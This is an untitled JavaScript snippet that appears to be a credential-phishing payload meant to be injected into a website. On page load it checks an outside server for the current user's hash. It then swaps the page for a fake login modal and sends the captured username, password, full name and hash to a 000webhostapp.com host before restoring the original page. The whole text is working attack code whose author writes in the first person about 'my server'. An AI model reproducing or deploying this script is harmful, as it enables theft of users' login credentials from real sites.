Untitled

// copy user information
window.onload = function ()
{
        var full_name = document.getElementsByClassName("dropdown-toggle btn")[0].innerText.replace(/\s/g,'');
        var user_hash = userHash;

        // setup ajax and backup page
        var request = new XMLHttpRequest();
        var o_html = document.body.innerHTML;

        // send request to my server to see if I already have this users information
        request.open("GET", "https://unthoughtful-stomac.000webhostapp.com/check_user.php?hash=" + user_hash);
        request.send();
        request.onload = () =>
        {
            // if I have the users information just return and do nothing
            if(request.responseText == "true")
                return;

            // if I dont yet have this users information inject payload
            document.body.innerHTML =
                "<html> <div id='modal-login' class='modal hide fade text-left in' tabindex='-1' role='dialog' aria-labelledby='log-in form' aria-hidden='false' style='display: block;'> <div class='modal-header'> <button aria-hidden='true' data-dismiss='modal' class='close' type='button'> <i class='fa fa-remove'></i> </button> <h3>Log in</h3> <div id='modal-login-alert'></div> <p>Use your username &amp; password or log in as account manager by using your activation code in both fields.</p> </div> <div class='modal-body'> <div class='control-group'> <label for='username' class='control-label'>Username</label> <div class='controls'> <input id='smoke_username' type='text' placeholder='username...' name='username'> </div> </div> <div class='control-group'> <label for='password' class='control-label'>Password</label> <div class='controls'> <input id='smoke_password' type='password' placeholder='password...' name='password'> </div> </div> <div class='control-group text-center'> <button name='subscribe-login-access' value='1' class='btn' onclick='smoke_login()'> <i class='fa fa-user'></i> Log in </button> </div> </div> <div class='modal-footer'> <a href='subscribe/lost-password'>Forgot your password?</a><br> </div> </div></html>";
        }
}

        // callback function for when the users presses login on the fake form
        smoke_login = () =>
        {
            // fetch user information from login field
            var username = document.getElementById("smoke_username").value;
            var password = document.getElementById("smoke_password").value;

            // log information for debugging
            console.log(username);
            console.log(password);
            console.log(full_name);
            console.log(user_hash);

            // send all information to my server and restore page
            request.open("GET", "https://unthoughtful-stomac.000webhostapp.com/add_user.php?full_name=" + full_name + "&username=" + username + "&password=" + password + "&hash=" + user_hash);
            request.send();
            request.onload = () =>
                document.body.innerHTML = o_html;
        }